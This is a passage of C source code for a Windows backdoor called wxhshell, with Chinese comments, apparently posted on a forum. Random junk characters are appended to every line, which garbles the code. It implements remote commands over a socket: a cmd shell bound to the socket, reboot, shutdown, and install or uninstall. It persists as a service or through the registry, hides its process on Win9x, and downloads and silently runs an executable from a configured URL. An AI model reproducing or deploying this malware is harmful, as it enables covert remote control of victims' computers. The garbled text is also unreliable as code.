    break; qIa|sV\w0  
  } AxUj CerNf  
  // 安装 =u(. Y  
  case 'i': { ^ S'}RZ*>  
    if(Install()) ;GO>#yg4Eh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s2Ivd*=mT  
    else veg\A+:'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oW(p (>  
    break; ~fn2B  
    } %8tlJQvu  
  // 卸载 T%Vii*?M  
  case 'r': { #vYdP#nWb  
    if(Uninstall()) Nrva?W_i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iw8;",e2  
    else G:$wdT(u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iu^# +n  
    break; k`6T% [D]  
    } BCk$FM@  
  // 显示 wxhshell 所在路径 iVzv/Lqm1  
  case 'p': { ~oh=QakW  
    char svExeFile[MAX_PATH]; Z +@"  
    strcpy(svExeFile,"\n\r"); 2P~zYdjS  
      strcat(svExeFile,ExeFile); M;={]w@n  
        send(wsh,svExeFile,strlen(svExeFile),0); b2. xJ4  
    break; ]L%qfy4  
    } Q2iS0#  
  // 重启 aHe/MucK  
  case 'b': { lqa.Nj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a1B_w#?8  
    if(Boot(REBOOT)) 0n|op:]BHM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bN@V=C3  
    else { &Jv j@,>$d  
    closesocket(wsh); wX" 6 S:  
    ExitThread(0); 5zX;/n~  
    } /i$E|[  
    break; &aldnJ  
    } 9~bje^M  
  // 关机 g= k}6"F~  
  case 'd': { i2/:' i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zh]d&Xeq  
    if(Boot(SHUTDOWN)) yv^j~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `h/j3fmX?  
    else { [S9T@Q  
    closesocket(wsh); R3<>]/1p|P  
    ExitThread(0); c 's=>-X  
    } 33DP0OBL^  
    break; /Ou`$2H87  
    } *r$Yv&c,  
  // 获取shell ]fI v{[A_  
  case 's': { MbC7`Sp&i  
    CmdShell(wsh); Xy:'f".M~\  
    closesocket(wsh); _9wX8fh3D  
    ExitThread(0); G2U=*|  
    break; *fso6j#%  
  } RxY ;'NY  
  // 退出 -mOSB(#bo  
  case 'x': { rY_)N^B|nF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O E0w/{  
    CloseIt(wsh); T>e!DOW;  
    break; uOc :^  
    } `Lb^!6`)  
  // 离开 DcE)6z#  
  case 'q': { fDhV *LqW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U0q{8 "Pl  
    closesocket(wsh); LCx{7bN1ro  
    WSACleanup(); ?Ko)AP  
    exit(1); :t-a;Q;  
    break; |gM|>  
        } $]K gs6=r  
  } Ol6jx%Je`  
  } &duWV6Acw  
XYhN;U}Z  
  // 提示信息 at]=SA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W'u6F-$2  
} P% _cIR  
  } Ikql  
RiqYC3Ka  
  return; q%%8oaEI  
} NypM+y  
0]?} kY  
// shell模块句柄 #g*U\y  
int CmdShell(SOCKET sock) ]/hF!eO  
{ 3 HOJCgit  
STARTUPINFO si; Gf( hN|X.  
ZeroMemory(&si,sizeof(si)); Q;W[$yvW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e`zx#v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S.1\e"MfI  
PROCESS_INFORMATION ProcessInfo; 5A oKlJrY  
char cmdline[]="cmd"; rXc-V},az8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L|.q19b*  
  return 0; 5wYYYo=  
} =/Pmi_  
 \B) a57  
// 自身启动模式 mIgc)"  
int StartFromService(void) +>h}Uz  
{ B/.+&AJw  
typedef struct *F0O*n*7W  
{ g*?)o!_*  
  DWORD ExitStatus; S7]\tw_L)  
  DWORD PebBaseAddress; EITA[Ba B`  
  DWORD AffinityMask; H6%QM}t  
  DWORD BasePriority; b9Jah  
  ULONG UniqueProcessId; ]Ir{9EE v  
  ULONG InheritedFromUniqueProcessId; yH5^EY7rQ  
}   PROCESS_BASIC_INFORMATION; 5S`_q&  
|b" h+  
PROCNTQSIP NtQueryInformationProcess; ]=\vl>W  
?3 {&"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C4wJSQl_I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S`g:z b_  
d5h]yIz^  
  HANDLE             hProcess; 3<.]+ukm  
  PROCESS_BASIC_INFORMATION pbi; (?R;u>  
)@+lfIE(l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VWDXEa9  
  if(NULL == hInst ) return 0; Syv[ [Ek  
Otq`45  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z-};.!L^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6Y?%G>$6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]Hr:|2 |.  
^*JpdmVhu  
  if (!NtQueryInformationProcess) return 0; n${,r  
-5;Kyio  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !lxs1!:  
  if(!hProcess) return 0; QcQQQM  
-}avH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .,Q j3  
aDEz |>q  
  CloseHandle(hProcess); >SRUC  
r*?rwtFtg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mx? ]7tI  
if(hProcess==NULL) return 0; y.,S}7l:  
/){F0Zjjt  
HMODULE hMod; ZccQ{$0H  
char procName[255]; K5l#dl_T  
unsigned long cbNeeded; \i1>/`F  
lS1-e0,h1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6G2s^P1Dl@  
Ip c2Qsa  
  CloseHandle(hProcess); S%+,:kq  
YdsY2  
if(strstr(procName,"services")) return 1; // 以服务启动 LF o{,%B  
'lmZ{a6  
  return 0; // 注册表启动 { a2Y7\C/  
} 4cZig\mE;  
w1Ar[ P  
// 主模块 },1**_#<Br  
int StartWxhshell(LPSTR lpCmdLine) i>=d7'oR  
{ "p]Fq,  
  SOCKET wsl; +!_?f'kv`  
BOOL val=TRUE; 0u0<)gdX  
  int port=0; @L?X}'0xI4  
  struct sockaddr_in door; X3nt*G1dL  
Bfh[C]yy  
  if(wscfg.ws_autoins) Install(); epz'GN]V  
85;hs  
port=atoi(lpCmdLine); Q I!c=:u  
nT7{`aaQl  
if(port<=0) port=wscfg.ws_port; [HEqMBX=;  
VjZ_L_U}  
  WSADATA data; /rMxl(wD'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DGfhS`X  
*qx<bY@F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *Nfn6lVB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Xy]z  
  door.sin_family = AF_INET; CR*9-Y93  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Cjvgf .>$  
  door.sin_port = htons(port); `D2wlyqO6  
&!)F0PN:u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -Vj'QqZ  
closesocket(wsl); 9a.r(W[9  
return 1; L|sWSrqd  
} Ub1?dk   
Y-8qAF?SJ]  
  if(listen(wsl,2) == INVALID_SOCKET) { / D9FjOP  
closesocket(wsl); Rg:3}T`~n  
return 1; XBJ9"G5  
} B_f0-nKP  
  Wxhshell(wsl); m>po+7"b  
  WSACleanup(); i?7%z`  
{HgW9N(  
return 0; lHYu-}TNP  
~&E|;\G  
} "|1MJuY_6  
6k#H>zY,  
// 以NT服务方式启动 Ef fp^7 3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #xWC(*Ggp  
{ $Cu/!GA4.>  
DWORD   status = 0; *q5'~)W<  
  DWORD   specificError = 0xfffffff; ^iaeY jI  
vBUl6EmWu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OtopA)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?nm:e.S+?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )p.+39]{2  
  serviceStatus.dwWin32ExitCode     = 0; >M` swEj  
  serviceStatus.dwServiceSpecificExitCode = 0; Kd_WN;l  
  serviceStatus.dwCheckPoint       = 0; )G(6=l*  
  serviceStatus.dwWaitHint       = 0; YK# QH"}  
#=WDJ T:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pv;c<NQ'1  
  if (hServiceStatusHandle==0) return; gto@o\&=  
dEXHd@"H  
status = GetLastError(); niO(>  
  if (status!=NO_ERROR) T;-Zl[H  
{ "Y&+J@]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r#{r]q_E*  
    serviceStatus.dwCheckPoint       = 0; tVx.J'"Y  
    serviceStatus.dwWaitHint       = 0; T7;)HFGeW  
    serviceStatus.dwWin32ExitCode     = status; M mg#Vy~  
    serviceStatus.dwServiceSpecificExitCode = specificError; o z } p]l7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uo1G   
    return; Z2chv,SqCJ  
  } uCK!lq-  
=goZI67  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2|k*rv}l  
  serviceStatus.dwCheckPoint       = 0; h.)2,  
  serviceStatus.dwWaitHint       = 0; :oB4\/(G#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V07x+ovq  
} V:42\b7x  
^H+j;K{5,  
// 处理NT服务事件,比如:启动、停止 @LY 5]og  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q^Ln`zMe  
{ [5%/{W,~m  
switch(fdwControl) {d$S~  
{ <!,q:[ee5  
case SERVICE_CONTROL_STOP: ,8( %J3J  
  serviceStatus.dwWin32ExitCode = 0; !DnG)4#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KmV>tn BQ  
  serviceStatus.dwCheckPoint   = 0; *8p\.za1  
  serviceStatus.dwWaitHint     = 0; M3Kpp _d_!  
  { IidZ -Il  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l,/q# )5[  
  } $8&HpX#h$  
  return; ,8uu,,c  
case SERVICE_CONTROL_PAUSE: ;U<) $5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T[)) ful  
  break; 0:G@a&Lr  
case SERVICE_CONTROL_CONTINUE: 1at$_\{.(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fm}O,=  
  break; K/[v>(<  
case SERVICE_CONTROL_INTERROGATE: 4~a0   
  break; Pyi PhOJe  
}; \3q{E",\>@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m@JU).NKCS  
} !W:QLOe6F  
KGUpXMd^Z  
// 标准应用程序主函数 v>3ctP {  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rOY^w9!  
{ 7>{edNy!,  
#},]`"n\  
// 获取操作系统版本 qn@Qd9Sf  
OsIsNt=GetOsVer(); 7kn=j6I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ./<3jf :  
F dv&kK!  
  // 从命令行安装 whKr3)  
  if(strpbrk(lpCmdLine,"iI")) Install(); P7\(D`  
kSNVI-Wzu  
  // 下载执行文件 HXU"]s2Z  
if(wscfg.ws_downexe) { {(wV>Oc>Jw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $!I$*R&  
  WinExec(wscfg.ws_filenam,SW_HIDE); iy tSC  
} :&)RK~1m_  
B^Ql[m&5+  
if(!OsIsNt) { 62EJ# q[  
// 如果时win9x,隐藏进程并且设置为注册表启动 9r1pdG_C@  
HideProc(); E08AZOY&g  
StartWxhshell(lpCmdLine); B4R,[WE"  
} QBto$!})  
else 3|:uIoR{  
  if(StartFromService()) ](_(1  
  // 以服务方式启动 ,h/0:?R KW  
  StartServiceCtrlDispatcher(DispatchTable); cb%w,yXw  
else q){]fp.,@  
  // 普通方式启动 81W})q8  
  StartWxhshell(lpCmdLine); 4BEVG&Ks  
_;01/V"q6  
return 0; Q,\lS  
}
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只看该作者 1 发表于: 2006-10-10
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